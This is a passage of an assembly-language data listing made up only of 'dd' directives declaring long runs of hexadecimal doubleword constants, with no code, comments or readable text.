0CAE1FD01h dd 20BBAC9Bh, 88993A88h, 0D9D2F01Dh, 0F78B00BFh, 492A5CCCh dd 0A9140BB0h, 8F80AFEFh, 0A7842346h, 8E110099h, 8715EAF8h dd 58A0F016h, 78004D69h, 0F542168h, 0EA86D067h, 4B490CB9h dd 7BE84FFh, 9DC7AA01h, 6DB8C93Fh, 542453F1h, 63362C69h dd 861F00C5h, 1527A21h, 3BFA06B0h, 0CAB5F500h, 88C75F35h dd 370A19B6h, 136C40C2h, 0B16AD8EEh, 2A4E1EAEh, 0F02FF93h dd 0E1AF164h, 0C4276CC2h, 0A2B18CB5h, 0CE996900h, 98777614h dd 77FEFAE6h, 4FE9A1DEh, 53015067h, 0ED168521h, 8341BD15h dd 8FB7777Bh, 5BBFD0E9h, 0DEFF726Eh, 0DD07C091h, 68B8C1A8h dd 7307D1EAh, 9C32B361h, 0DAE42963h, 6AC880AFh, 4C6206CEh dd 7C80603Ah, 84F7D2D1h, 0E5B0EF00h, 0F5141641h, 0DFE70E32h dd 0D440184Ch, 20E3BC89h, 4DDEF30Bh, 0C81C90B5h, 0AF09018Ah dd 3D56CAEFh, 1008A283h, 0FAC18E02h, 0C15E7338h, 0F4489F28h dd 0AA86019Dh, 42B7AA7h, 6D66ECBFh, 1C5A5500h, 3E41DB9Bh dd 5CA800F0h, 0BFDB04Ah, 4FF0EFD3h, 8125863Fh, 1FDD0E8Eh dd 9C524826h, 0D8C5C053h, 785473AAh, 9B14015Ah, 3A1B4385h dd 0C4799E93h, 17E1006Ch, 0B1800EB5h, 44625887h, 7A1DBF1Fh dd 0D8811AF5h, 0B6262232h, 0A12469A9h, 85EECE94h, 8858A600h dd 2D05D2E1h, 269B1124h, 0E8206084h, 2621E9Ch, 7BB96FE3h dd 0B2E10FD5h, 0E468244h, 807AC245h, 7D6E64F4h, 0F8627BD5h dd 0F179C369h, 0D140CA3Ah, 89248697h, 4269C12h, 20101Fh dd 754EE9A2h, 2E44DFB1h, 2F63875h, 58341400h, 6BBAD62Fh dd 9887026Eh, 63E090C2h, 98A84623h, 139450E1h, 3664816h dd 1BEF1574h, 4218C109h, 4D389061h, 15BF0B24h, 0EC14E7E4h dd 82645F00h, 0D608544h, 67ED1363h, 0A24820E5h, 20072BD3h dd 0A9F79903h, 80AEB85h, 5839884Fh, 85000E4h, 6DAB2A17h dd 0BBD40037h, 0A9EF5D1Ah, 771CBE6Bh, 781860B2h, 1FC8AC1h dd 68A4702Dh, 214763FDh, 9C50E617h, 6B04E31Ch, 0BA806583h dd 0F8A90B8Dh, 94B08862h, 4AF2EBB3h, 43866712h, 0E8B65803h dd 0C395F190h, 0A7A97C0h, 8B343E9Bh, 60102490h, 2FA475B0h dd 7663100h, 0EA9716A7h, 0D04E505Ch, 0E061C063h, 0BA02B71Fh dd 7DC2B338h, 1A878317h, 13B96031h, 0C5EA9450h, 0DEE2AAh dd 844BA03Dh, 21786635h, 0A3E25600h, 0F26C9D15h, 6D2300B4h dd 1860DCBCh, 0FA129ADDh, 3C21AD77h, 7040F2A2h, 1D216ECDh dd 1673E061h, 6D202026h, 2A04D8F3h, 558E484Ah, 8B93E8DCh dd 0F359DA89h, 0FB522A90h, 0BE50F50Ch, 226923h, 946CC907h dd 57E24295h, 0EE15C514h dd 0C73A1844h, 1ACF549h, 0CA28EF44h, 8ADDA0E3h, 80DE6968h dd 5D0E1211h, 1F6032B1h, 0A304E65Fh, 0D200CA70h, 2BC57AD7h dd 4CE3BD06h, 4D1DAA34h, 0E80D8044h, 877AEFACh, 1AC1B501h dd 0A832A6EEh, 45C36070h, 0ABAC20C6h, 3DCA4A3Eh, 738CCD4Ch dd 1542C507h, 900B5786h, 7397970h, 16D2FFBCh, 18CD5380h dd 47D650D8h, 132430F9h, 0E2586B88h, 0C9B1003Dh, 72E47871h dd 8B1EB15h, 80A43514h, 340CB03Dh, 0BBA20055h, 4D84F23Fh dd 10B861E3h, 6031426Eh, 4980C564h, 0AD170B6Eh, 0F402C041h dd 1461F750h, 0E161F054h, 40AB0C09h, 5604B065h, 1E637878h dd 80DBCDD8h, 0F34C0983h, 0CB17FD71h, 2004D9BAh, 15494D11h dd 30702CC9h, 6C44E10Ch, 94B9B9h, 5817EA0Dh, 0D402CC3Ch dd 0CA6ACD2Fh, 2CC05366h, 0F81B0A98h, 7EB380A0h, 53E290EFh dd 131828A1h, 7894D0BCh, 3B10FC36h, 0EB87201Ah, 0E0885121h dd 0B497318Bh, 5D16420Fh, 9A85A09Fh, 7D892Eh, 10DCCC51h dd 0C3CE1469h, 5FC96D00h, 4D214419h, 2442EE68h, 3DEC9CDDh dd 0B60E6601h, 6FB932D3h, 5FCED1Fh, 6D56CC04h, 2CE137B0h dd 18588BCh, 0E2942265h, 508850D4h, 4401DDABh, 0D20DC735h dd 0E31B5AFh, 264224F0h, 849471C0h, 4E999FE4h, 808034F7h dd 15D28E39h, 15E09C82h, 7C028438h, 1E204225h, 8DBF2082h dd 8F54624h, 0BB482047h, 9BCB7A81h, 402893A0h, 4D5AF5F8h dd 0FCA41874h, 0CC804891h, 7581BBF2h, 0AC010F51h, 8040AB14h dd 5ED06AD9h, 0AD2495F0h, 884FD443h, 4669811Ch, 61F504E4h dd 0CF704CFCh, 0C40B7A0Fh, 540900D9h, 4FF0529h, 6BCFD56h dd 34B8C0A9h, 0D0D6F761h, 245C8C10h, 88403425h, 3AB9FAFh dd 8476625Eh, 79F07B18h, 8B3CDD26h, 0B0A11E6Fh, 58EF1781h dd 0E0314342h, 0DAE48400h, 0AB3A80BCh, 8901A492h, 0AF759604h dd 3530782Ch, 1922007Fh, 4AB865A9h, 0E3129906h, 900FC860h dd 0CC45AA18h, 4C07AF97h, 2888F78Bh, 376300A8h, 86A0EEFFh dd 96164718h, 20223AA2h, 0B5ACA71Fh, 7B66C3A0h, 0EC264C69h dd 7361A80h, 38C257C6h, 24864992h, 288494Ch, 656DCCACh dd 0CD0C00F4h, 0BADB24D5h, 0AABB693Bh, 0FA1080A4h, 0F4888666h dd 0E182B0ABh, 99F24E58h, 0BC482794h, 0B586186Ah, 3D9A110Dh dd 0EA002BF2h, 2E732497h, 894913h, 0E9E43EC2h, 7C4DB2BBh dd 64D33B18h, 807014E1h, 9209ABDCh, 0B728FFh, 0B365FC9Dh dd 0D9930218h, 77604A26h, 753F6444h, 1E7B81F7h, 765F1C40h dd 186D5882h, 7C70C94Ah, 0FB0064B9h, 0B114CD60h, 0A9CE1EABh dd 0D62E8186h, 41791D54h, 116A42E0h, 4072694Ah, 9C20B527h dd 71A93B5Dh, 0C749B403h, 0E814A331h, 25BFB67h, 0BF0AB7BEh dd 8490D78Ch, 620083B4h, 113BF3D5h, 0BA0AD8h, 0C626955Eh dd 0A4EEEB87h, 0BCDCBE14h, 16C3028Ch, 52B8F756h, 0A2D10018h dd 32AE4971h, 0C701589Fh, 0B5A901B2h, 68D867F2h, 0E6153E04h dd 95F8214Eh, 40B9116Fh, 8065C714h, 0D428710Dh, 4724F00h dd 0E2A21A86h, 0DFB500C2h, 9C50E7F7h, 8451902Eh, 0C18C60B0h dd 0FC13464Eh, 9B93E030h, 0E8BA0548h, 49AF6A5h, 2266AE9Ch dd 11F42A55h, 76FB4C17h, 0F8944D24h, 29E09715h, 0DA39ACEEh dd 11549020h, 563A0023h, 2697B60Fh, 6A24C24Dh, 71436870h dd 5206FF58h, 0FD820011h, 18FC743Ch, 0EF2516A9h, 1C0DDEC8h dd 5D04C480h, 70908227h, 4A24B520h, 0F508315Ah, 1168E588h dd 1439C23Ah, 0C054B00h, 66E2AD1Ch, 2B190800h, 18E3F7DAh dd 58DF4D13h, 74409C80h, 1A1C3C99h, 2000FE4Bh, 6189147Dh dd 6BD60137h, 75B6E4E8h, 268038B2h, 0FF440855h, 72F888h dd 58D72E45h, 253B35C6h, 0A9A13403h, 0C9502147h, 2C72986Eh dd 804A6505h, 0B1828296h, 72E0AC82h, 51204C0Eh, 0BF340F1Ch dd 0FDE7CA76h, 98DF10E2h, 5B026AB7h, 0CF0B04E0h, 0B8306B67h dd 0F855E3Fh, 882D1879h, 0ECE7C7A0h, 711CBBEFh, 7E4AE4C2h dd 0AE116076h, 0E7000C53h, 792D38C3h, 7C043B74h, 0C62CE3C9h dd 24901949h, 0AA70DFAFh, 0E67880F7h, 3D1B07D6h, 26D0A813h dd 0AC0F54CCh, 4F4C0049h, 9BD0DF51h, 2704ABCBh, 7A89E444h dd 6A1E3C81h, 61C02A08h, 9690F75Ah, 5B68985Fh, 78D84026h dd 0BA8E9AFAh, 4431F314h, 0B6F70048h, 0BB6C7987h, 0D460581Ah dd 156E6509h, 695060E4h, 80A666E0h, 52947C44h, 0B918E0EEh dd 41613114h, 0F20DC600h, 0FB4FD056h, 0EADD0443h, 0C03CB690h dd 0C75101A0h, 84046A28h, 79E3FB02h, 721418B1h, 7BE486F0h dd 0C5920789h, 0D06A817Ch, 1F880255h, 69FBE604h, 6887A5D9h dd 29220114h, 82256622h, 0FAAD0C4h, 0ED47F460h, 2E005D09h dd 767B3074h, 8557BCh, 0CD10827Fh, 61DC36F3h, 41AFA200h dd 0E5DF63C0h, 7D687A1Dh, 2A530E7Eh, 8BA0AE26h, 0DD0D8E17h dd 2590C300h, 0D47CA3ADh, 6DDB28A5h, 2A1A43D0h, 78A6C483h dd 3DA0D01h, 0FB62E554h, 48ECCCh, 581F076Dh, 354FE09Dh dd 38EFBF44h, 0FB0066EBh, 0CE150884h, 1098C79h, 48EE1659h dd 0FDF28528h, 0D88009D2h, 849EB1C8h, 9CBE2F00h, 0F7D0432Bh dd 802090EAh, 88CAE88Ch, 0B1FEB67h, 0AA006FD1h, 8BE268C2h dd 85040921h, 2CE4A26Bh, 8C14B312h, 660E4048h, 2607E152h dd 318212EDh, 0D842BC93h, 48908172h, 762C4C17h, 922697F4h dd 1260C7D0h, 0CA004EE3h, 0F8CBE2DEh, 3DF4DF2h, 0FC9F2F70h dd 6FC26BC2h, 7565D448h, 16618005h, 54D4C4F8h, 0CF00B8E2h dd 2BFB15Ch, 280013E6h, 0DC7B1045h, 474E7FEh, 0A1B354Eh dd 56E882A4h, 0FA12C219h, 91B08C82h, 548B7A24h, 0BEC16B0Dh dd 2670h, 1563CC4Bh, 4B13567Ch, 866C20BAh, 0AA0F10ABh dd 0C0FE9FF7h, 57856945h, 0A04C288Ch, 84CA79A4h, 504C5342h dd 3FEDFF01h, 40EE93CFh, 0F4BCE828h, 1280E313h, 0D030C413h dd 398441A7h, 5CD8CFCDh, 64C7AF00h, 0ECDA23B7h, 163DFB3Ah dd 8CCF112h, 6886099Bh, 0A6844299h, 1544C840h, 9619E222h dd 0B45E404Ch, 0EB06C865h, 0E2EA9A7Ch, 32C643C0h, 0E0BEA989h dd 84430E98h, 0BCDFE511h, 5C197B02h, 0C4824D6h, 12893C6Ah dd 0DAB1810h, 7D0055F6h, 2C0B48FFh, 0E2B84Dh, 70B2B05Fh dd 52BA3275h, 8254C74Ch, 0F179E422h, 3B720038h, 43204F60h dd 9F09C502h, 0C61CD02Eh, 64584CF0h, 5F65CA84h, 28239B12h dd 0A2E010F6h, 8FF58866h, 0E981F226h, 41C225C0h, 36EC8C8h dd 8C08D0B1h, 0BE100E40h, 94843D64h, 5068C8E1h, 5DF7E30Bh dd 875090B5h, 9B2A1D02h, 4FD54BA5h, 8E68448Fh, 0D217480h dd 1D3D69D7h, 397266A5h, 0BE737D07h, 0C06A4770h, 7AEA1C92h dd 8C386F00h, 0EE326E9Fh, 3A21C7C4h, 7240FCF0h, 3E41F8F8h dd 8948F0h, 53D2BF60h, 0D5B476EBh, 4D1351C6h, 2C727508h dd 0C23ADBh, 0B03E4BD8h, 83F03916h, 12B65F00h, 97B2BF80h dd 1378C63Fh, 7A003927h, 0B66D03C3h, 9855B1h, 49B87F51h dd 20365DD7h, 1C879600h, 6D6A18D8h, 0F5F61Bh, 22580E72h dd 0D7D02B69h, 9873E100h, 84DC9A78h, 9CF9C274h, 0C080A0C7h dd 0BA56C91Fh, 6EA5B30Ch, 992175h, 0CBE2704h, 0E932AC57h dd 0D8D0ABEEh, 0EA2E00E8h, 0F21C510Bh, 7CFB30B2h, 0F43343B8h dd 986EAE2Ah, 30EE2522h, 89597084h, 5A011F92h, 0FE0591Ah dd 0F1E4671Ch, 25FCF8h, 0ABD4C69Ch, 3F20047Ah, 0A4DB3300h dd 98FB1DC8h, 8A3D809Bh dd 90A51F00h, 8BD1448Ch, 641800D9h, 0C55A1E91h, 1500E338h dd 98312CA4h, 54270658h, 63BB64B2h, 3026A1AAh, 0E21D00A4h dd 196CB988h, 6973952Dh, 802CEC99h, 452F3506h, 1F1E9C8h dd 9F8BE0E3h, 0C45A158Eh, 4F00D77Bh, 0F91D61B6h, 2CE33585h dd 7348A6h, 0BCB2001h, 0A81525F1h, 0F843D84h, 20D4671Dh dd 3314D657h, 0A61F0C87h, 9D213B61h, 58A4AD54h, 0B92AF00h dd 34FAB805h, 657300DCh, 0DE4EEA8Dh, 0F30C9E7Eh, 0D998491Ch dd 7AF20E3Dh, 0DDA01085h, 0FCBD120Fh, 1F25D30Ah, 0C29088F4h dd 271F3C4h, 0C0613948h, 0C8EB4CC1h, 9A807250h, 70329378h dd 0B85F00C1h, 398E51CFh, 1EF2F8D8h, 0A70FE10Ch, 360F848h dd 76D4E992h, 41158DB7h, 0B43413h, 86796F4Ch, 1323E01h dd 1D736663h, 0F089A3D5h, 50AE729h, 50C62707h, 45895898h dd 78B22AA5h, 0B4A20090h, 5B6E4C27h, 0F3141DACh, 80E8137Eh dd 84A29AE2h, 0B4A0036h, 9BF0F12Dh, 921D3E23h, 2468CD20h dd 0E0B27500h, 21B462D0h, 9F601CC0h, 2163D8A5h, 1CB83A4Ah dd 0F522FCA4h, 61C0023Fh, 9BCB278Dh, 327B0C48h, 0F8B78490h dd 7E330017h, 2B41666Eh, 51C46D21h, 64882C73h, 581D0A92h dd 40DC9D95h, 8EC8BA99h, 1F01E700h, 0D0E98F44h, 2060EB07h dd 0E1906627h, 2F2470D4h, 130C44EAh, 0FA23A1E5h, 1B7C0344h dd 89C6C933h, 34DF8880h, 2C160A00h, 715E5673h, 0C0383C0Ch dd 2670E100h, 33CFBCDAh, 0C8D32B01h, 5D32F240h, 65D98C42h dd 73E98888h, 60A61D06h, 9055F091h, 946212Ch, 6AB1008h dd 2933F13Ah, 0D00080A6h, 85DCBF1Ah, 505F0860h, 4484E8B3h dd 9902F83Bh, 4D46B2C1h, 1058E2A5h, 3F1EFCh, 0C373E4F1h dd 67C01C44h, 91F08F0Fh, 1AD300ECh, 55EA3338h, 1830D450h dd 9DFE130Fh, 0DE482010h, 1F3DB349h, 1C5B818Dh, 0BB71E691h dd 0ED0441D6h, 9D88310Ch, 1C892A0h, 6DB8656h, 308FB342h dd 36446BDCh, 226944E8h, 7030400Eh, 7C15BCB9h, 0A0C57480h dd 842085CBh, 6ECD90h, 0BB0A64FBh, 0CC2695C7h, 0B8761D16h dd 0F5DC4C21h, 14221FE1h, 0BC68A515h, 996E4AC8h, 485144F9h dd 0EFFCFFF9h, 0B6730506h, 405A6427h, 0CC2AFBB4h, 68B1E20Dh dd 0FA5D4000h, 4D0CE49h, 1E791A23h, 4E1CD2E0h, 526A34A4h dd 4BC11C41h, 0B891EB50h, 15B486Fh, 5CDAA7F9h, 5032B973h dd 0F10CCB0Ah, 0E0659938h, 131C4221h, 0E838B844h, 1CF485F8h dd 8C8C64FDh, 0D2B9000Eh, 260887F3h, 5700C711h, 0E91B56D0h dd 21646DDh, 608A0B9Dh, 0CCC4D493h, 4B80B042h, 67A26602h dd 0AD261502h, 61961C82h, 4D03E1Bh, 2AB490BEh, 44F03353h dd 780010DFh, 70AAC245h, 93C756Ch, 14DC2D4Ah, 0CD7A8499h dd 347284h, 6158518Dh, 48DB10BBh, 8121342Dh, 638A2290h dd 6ED7808Ch, 6407FDD1h, 4CFC240Bh, 0A100575Ch, 0B068F60Fh dd 420B6D07h, 8DF5FFBEh, 3004E812h, 4A40E0B4h, 0B8BAE95Fh dd 0AC4375Ch, 343F64A6h, 6EA108h, 0C46667DFh, 1D181E6Ch dd 0D08138A0h, 3AC100A2h, 0EFDF5390h, 0F10181FFh, 0F3F04793h dd 0E84CB376h, 11A5121Ch, 9B7431F5h, 884F129h, 862C00D6h dd 6D014CA8h, 0B31420A6h, 78841D34h, 73384486h, 8994BB4Ch dd 0EBDC1013h, 48D91FDCh, 86FCC002h, 14CCB82Ch, 0F6E96E0Ch dd 44E8A9h, 0A10C23DCh, 0E1F8EFE6h, 5F32AB00h, 71D06C28h dd 2C444880h, 736FB10Fh, 0DAAB3D40h, 254C3B07h, 400CB054h dd 800F02CEh, 7F574BAEh, 0D46FF8E8h, 0A5E74484h, 6071FD28h dd 2C71B74Ah, 0E908412Bh, 8AD45548h, 0D208D443h, 0F23A0F97h dd 0F332F1F8h, 98D4A4h, 0D82C15E9h, 0ABB63276h, 1CC13621h dd 8A0D0C08h, 911F00E4h, 49C0019Fh, 4DB73B89h, 68A62114h dd 11C84C3Bh, 491D5C38h, 0DB70C5FFh, 8F80562h, 8E74CD89h dd 58F43992h, 0B9D11D69h, 0B94D0060h, 0BD5376D3h, 214F8101h dd 10F3A78Bh, 2F89030h, 49F4DC8Eh, 41DFCC20h, 5C4206E5h dd 1D84A0ADh, 46829E1h, 5BC03E13h, 0C44282F3h, 10ABBCC9h dd 18590243h, 98E2096Eh, 83124535h, 20201425h, 7625A2Bh dd 1CA63BB0h, 9E7711D3h, 0F47890BBh, 4E9847CAh, 1B5700B1h dd 81EBF30h, 74E9249Fh, 0CB2B00A7h, 9AD870A7h, 66E56C02h dd 8586BEE1h, 20983DE4h, 0A0B52E73h, 40F04888h, 0EF4991A6h dd 1CA55900h, 28934366h, 0A0A42594h, 0C9ACA420h, 0F738731Dh dd 235F03A3h, 0F8A2ABCFh, 4C9A5410h, 0F510C0BCh, 0C0045C4Ah dd 968AB1C4h, 601C3EA9h, 0B0E0BCCCh, 0AA5C2704h, 406CC8B8h dd 53F818F1h, 8C6958CAh, 0E89CA012h, 21460622h, 88C412E9h dd 11341520h, 0B8BD76h, 0C0710792h, 126BD14Dh, 11CF96Eh dd 391F2A28h, 0CED0608Bh, 0E7CAF309h, 0A6A0A0E3h, 31FC4D56h dd 2F9134A0h, 0B424DC02h, 18090A75h, 84EC693Ch, 437E520h dd 97B5443Eh, 0E8A03222h, 71B99593h, 684E3A00h, 63B5D05h dd 7FBD0928h, 2482A7E8h, 3A019AEAh, 4023EB39h, 0A617DD00h dd 15DB208Ch, 34522F00h, 0B2E66CAAh, 4C930054h, 26AD4824h dd 9102722Eh, 0D82D2F89h, 0A0D04056h, 35C9C036h, 0F2C6D329h dd 0E2E0A09h, 7288261h, 127A11D5h, 0E20C6036h, 9388980h dd 44BE1060h, 0FC0FCCAAh, 834951A9h, 0E4AB87FFh, 2C6C2112h dd 0B01C40EAh, 47740901h, 21901E58h, 327797FBh, 0B4517530h dd 293BF888h, 189E88h, 282221E9h, 64003E10h, 9E4C82Dh dd 78B8878Dh, 548F4CC3h, 5449E843h, 3710B921h, 8C082410h dd 90D9A99Eh, 7CFF20ECh, 4565A516h, 11B90C32h, 855610E8h dd 186EE8C4h, 21A5969Bh, 9200F2AFh, 0EE0DF6A6h, 9E9F9E0h dd 9C7FC54Ah, 47506096h, 448603C4h, 664EA586h, 88048C24h dd 0D5025C64h, 24A183FBh, 3997047Ah, 8ADF0720h, 30C32DC8h dd 5360BEFCh, 0D822B857h, 0E9E79205h, 9004428Eh, 5A4996B7h dd 13B66868h, 34DF2E30h, 1C894087h, 44C626Bh, 81CC290Eh dd 127B065Ch, 0C4C41Dh, 86DA5D9h, 0F843FAF3h, 37CBFC00h dd 0C089C4C9h, 96BB0F78h, 0D3804EEEh, 7FEB8ACh, 9010812Ch dd 2E098D17h, 0D8338CA4h, 4CF13139h, 53768459h, 6EB08188h dd 4101062Fh, 8E671344h, 0CC201914h, 5D6286BDh, 90984A31h dd 0DAD0E0h, 0B4E8CD9Eh, 0B377A52Eh, 43F27609h, 5700021Dh dd 328E0140h, 226031DBh, 829CC910h, 110D0E60h, 0F33A105Eh dd 6298967Ch, 8E04EB87h, 6831A09Dh, 0F44DE40Bh, 50401108h dd 45C6D91h, 4560AE8Fh, 48DB846Fh, 6E07BB00h, 0CD613A1Ah dd 0A538C265h, 0D05A2638h, 84A83279h, 0CC271D6Ah, 0F11419FAh dd 22BDC107h, 243AC80Fh, 5210BC94h, 96BF04C8h, 0B83736F4h dd 3196Ch, 0FDAF342Ah, 0EC598D2Fh, 581DE30Dh, 54D59820h dd 27726842h, 246C35A5h, 0C87095D0h, 41E3E264h, 74498A98h dd 0FB8619D8h, 0E8604A12h, 1E1BDCBCh, 0E1F1B3A6h, 16F5BE55h dd 50C2D055h, 0A136278Bh, 6872AE1h, 35612C88h, 496E6598h dd 997050h, 0C47028AAh, 3A048E52h, 217C8D2Bh, 21E80D84h dd 61988884h, 8750806Eh, 0BE7BF81h, 4865B413h, 0CEAD4D0h dd 12BCA8D4h, 0BF22840Dh, 914DE2AAh, 0A8A4084h, 817D8C88h dd 0E7FCC802h, 0E0F4B6CFh, 42C001FCh, 34B2260h, 5064FB1Dh dd 28B65BB6h, 1020EF4Ah, 8071F7EEh, 0F1C09E98h, 5DE41CCCh dd 63E70142h, 319FE92Ch, 1E81CFD5h, 27FCE849h, 8C26B672h dd 3A91D88Bh, 0FA4EF100h dd 0E5DD0BD4h, 9394DC00h, 0C718F72Eh, 0FE170052h, 0BF419E4Ah dd 0FC187DFBh, 3AA933ADh, 49ACA425h, 5610B8D5h, 42708809h dd 3C28302Bh, 20C74280h, 0BD7A25h, 0DBA306BFh, 9155C489h dd 0CC226B24h, 0BE02B08h, 50940D46h, 48874902h, 0C06D1877h dd 4EDDCE74h, 0ADD4086Eh, 5CA35E64h, 9657C10h, 49ABF332h dd 0E43C1DA0h, 7042EC88h, 0E185103h, 6BC426B3h, 9C448C76h dd 885F7484h, 0C954B46Fh, 5091FF40h, 204EA491h, 0B225CECCh dd 12E00B01h, 0F3043919h, 0C8C62FE1h, 88716970h, 99C0379Dh dd 0F34430ECh, 0AE20098h, 76096CABh, 99057C4Bh, 2A59AAFCh dd 553F71C0h, 884902EFh, 4FA76D78h, 116CA441h, 0AC282607h dd 2942C83Bh, 98A0E84Bh, 0D08096E6h, 813960A0h, 0D1F08576h dd 87084700h, 1FC6CB45h, 0C2BE2649h, 0A4D421C4h, 10A110C4h dd 6880966h, 6E0468A4h, 40C01EB4h, 3D4C9F2Dh, 3009CEBh dd 0DE8F74F2h, 8E1DF53Ch, 601486Dh, 0C0719D6Bh, 14C47DD0h dd 0CC7CD3A8h, 0D0A01425h, 800A527Eh, 6B340100h, 8FA598D7h dd 401077CCh, 0D242EBB7h, 40EA1385h, 1F5E2CC8h, 837D1D9Ah dd 3CA0E358h, 61984096h, 0B05831B6h, 0A652F0BCh, 3604BAF6h dd 0A6D4805h, 26AB188Ch, 40C41427h, 184C581Bh, 6ECD8900h dd 0AC7CCA42h, 5EC40067h, 0A3954380h, 0EE0BBAFCh, 681E38A6h dd 29F0328Ch, 3986EAAh, 0A543B2FCh, 5444F7E2h, 55142008h dd 9DE12D1h, 0F50A6780h, 299180h, 0C0308A4Ah, 0ECC0D75h dd 13B2F4D5h, 8E540072h, 10A9F30Bh, 99458A0h, 77EBCF00h dd 0B68D1E2Ch, 544D00F0h, 0D4B2AF5Fh, 0BE026964h, 4A01C25h dd 96A8610Fh, 0AD3D9181h, 0F04578F3h, 0CFFE9EA1h, 5F60B107h dd 5A088A4h, 9269F827h, 1AE911C4h, 38F218ABh, 9EA01D81h dd 0A2A68B78h, 4F234080h, 0C300B327h, 0A9E5694h, 28B6DA3h dd 30628F54h, 98684DB6h, 0D8CCC661h, 0CB4A60ABh, 24489849h dd 2BFA28F0h, 7325C200h, 0FF5B543Fh, 60EC058Ch, 2E3364Bh dd 0B2A56B98h, 31C58C4h, 0D5941421h, 0EB3312B4h, 40447422h dd 88D3D72Ch, 70BC8621h, 0AEA6BAE0h, 38770017h, 41FD2F1Fh dd 45FA57D1h, 0F2896ECh, 8A3D8C15h, 0C268C40Eh, 69A61D61h dd 0AD173452h, 3901h, 0A389B598h, 64A52748h, 0F61FD010h dd 0DECF4A09h, 0ABC8C0E0h, 137C12E1h, 7EA807B4h, 0E393F035h dd 111D03DBh, 7893F148h, 4936000Ch, 112490D9h, 2160C64Dh dd 38FF0E64h, 28BC2EBDh, 8080B400h, 76D6E378h, 2348F428h dd 6B660530h, 0D4824002h, 96992175h, 92B98351h, 0E891ABFCh dd 4A3A3CF8h, 32DC4439h, 8A708CF1h, 118F6025h, 3610BC90h dd 51DE969h, 1D4BFA3Ah, 0AE341014h, 66CE3FA7h, 0B9CDB80Fh dd 0D5DA3C0h, 9758F5EFh, 7417839Ch, 39479195h, 71B88E0h dd 0E8A30B94h, 44F0C003h, 974BDE91h, 0AA541C40h, 6096BEh dd 0BA832FE9h, 6D5F82C4h, 2A02DB00h, 864F1DCCh, 762D09C0h dd 486EBA1Fh, 67BD0A07h, 2B98BFAh, 4D2B9DCh, 0C65505DAh dd 0AD3A78A7h, 2C26F2A5h, 7FF80984h, 0F318A400h, 62282AE2h dd 0AB2703F2h, 3A1FB01Dh, 19CF1D4h, 215A14D0h, 808028D0h dd 0C08A449Ch, 7E690046h, 0E8DBAD9Dh, 0DEF93A6Bh, 0C905307Ah dd 9B42ABCh, 71DB9468h, 0CB64BE6Eh, 9467F821h, 0AF58308Ch dd 1C6CF500h, 5C9815FEh, 0F8D6E8F0h, 8B50009Eh, 34B8546Bh dd 3CE6B103h, 56E93310h, 34446A25h, 5C5BED00h, 81C9AE64h dd 0D9FF00DDh, 0CE07C619h, 542496B6h, 0C02E288Ch, 52EC8240h dd 0EA5D1D68h, 2449408Bh, 5E6EE202h, 48A258A6h, 0A01E3C52h dd 0E2C0AC53h, 0E55605D6h, 0F1C051F9h, 0A50C1028h, 9D393957h dd 0E194AF54h, 7D46901h, 54EE3FE6h, 40D1F8h, 530DD285h dd 38F7B851h, 43BC4F5Ch, 0D34B03E0h, 9353BDD4h, 0B473E074h dd 20E26079h, 401FE343h, 8D9E3903h, 0E666C0h, 8EE91D39h dd 1C051ECDh, 58FB9200h, 0FA3E5DC0h, 0FCAD0390h, 0EEC94DD6h dd 0FD2D40D0h, 0C008AE50h, 2C144551h, 0C83B80D8h, 31BF48Ch dd 0E08D67E4h, 2F0A3FCh, 380F9254h, 4BB4F791h, 0B8FC90D5h dd 0F410A76h, 809C9897h, 0C8ACE6E8h, 6B007904h, 0C18BCE69h dd 0C94C23h, 0F00C4345h, 34CB83E4h, 0FC0921Ch, 7DF800BFh dd 477F7CDAh, 5498EBh, 654D512Fh, 0BF10288Bh, 5E623700h dd 9F7CAA40h, 0FDCB0B1Ah, 5C832ED2h, 37E29AE4h, 2345F002h dd 0D9003E84h, 9AF14C5Ah, 49C341h, 0D3577731h, 4562B394h dd 0BF84611Dh, 46C5DBDDh, 0D0B26BA5h, 0ABB311h, 970B8537h dd 1DB0E342h, 0ACE4FFB4h, 8EEE925Ch, 7E92120h, 7DA827E2h dd 2051B130h, 1D1062F4h, 0A050EFE2h, 4F00F224h, 0C49702ADh dd 2543AF5h, 2051036Bh, 4440D0CBh, 8C403E9Fh, 38725E60h dd 0DA0BF428h, 944A12h, 0CCB26EECh, 3FA5F891h, 492E6148h dd 73F76064h, 0AD3A6BF0h, 6279845Dh, 5CC28197h, 5064C1BDh dd 0F38B3608h, 9FBCE8C0h, 956D0075h, 3C1E86CBh, 3600C905h dd 0F6C46F8Eh, 490B8471h, 35309440h, 9838A8F1h, 3DD3C50Eh dd 9A4EA0E3h, 2874C168h, 22E44A07h, 0D4027C2Ch, 66A5ECA6h dd 0EC3870EAh, 40145A1Fh, 5CD1BB74h, 63F67555h, 0EE4F4B07h dd 0EA4053BFh, 531D1142h, 275E98F2h, 24C680ECh, 22002E08h dd 0D317E7EFh, 0E7970BDh, 74DE930Fh, 3BAF82E2h, 0B4C28E05h dd 0D50F223Dh, 0BC10D442h, 0D4018E5Fh, 77C58BFh, 0AFF89C6Bh dd 993D2A46h, 15A01AC4h, 0B1604992h, 0D70E7903h, 0DE7E1018h dd 6CCF4800h, 0C5B0Fh, 212F0AC4h, 3F90B0F9h, 61BA2C00h dd 0EEBD0269h, 37FD001Fh, 89F74DB1h, 76003544h, 6C1AC37Ch dd 1B6F48E7h, 504A9E34h, 1C77DC0h, 775F73Ah, 805A7389h dd 708E1A40h, 0C5FE3B8Bh, 46C99107h, 0E206806Fh, 48C16BC7h dd 4F781FACh, 0BF2EF0h, 2CEBD625h, 9CF721E1h, 9E604963h dd 8D690044h, 6AF6CB67h, 684C5BEBh, 585630AFh, 20036DCFh dd 3F1BD0D6h, 0E0606F4Dh, 0ECA258Ch, 401E54E9h, 8BE0C17Bh dd 74007AB9h, 0DF20BABCh, 124D2E1h, 0B5823854h, 50D306AEh dd 7A464098h, 2FD7FE00h, 0A70C448Bh, 99E21DB0h, 419BC001h dd 14F6E9D6h, 78905800h, 3B70610Fh, 0D3250F6Bh, 3ADD0EA0h dd 20501E83h, 5900E5E2h, 607A55EFh, 2DED08h, 365A9F43h dd 740C8134h, 3FE14006h, 70B15E4Ch, 8411556Dh, 0C98025F5h dd 0F2D2C3E4h, 83A0FE57h, 0F60177CCh, 0EC5C3A4Eh, 0B0EF7F98h dd 0C2787D5Bh, 0C4374349h, 57C1E8E2h, 6FC450D4h, 4F188EECh dd 12970F6h, 17FF004Dh, 0E4929D8Bh, 1D03CAEEh, 0E2608EB8h dd 0AC810F20h, 16C0CDFAh, 74E63831h, 8176C500h, 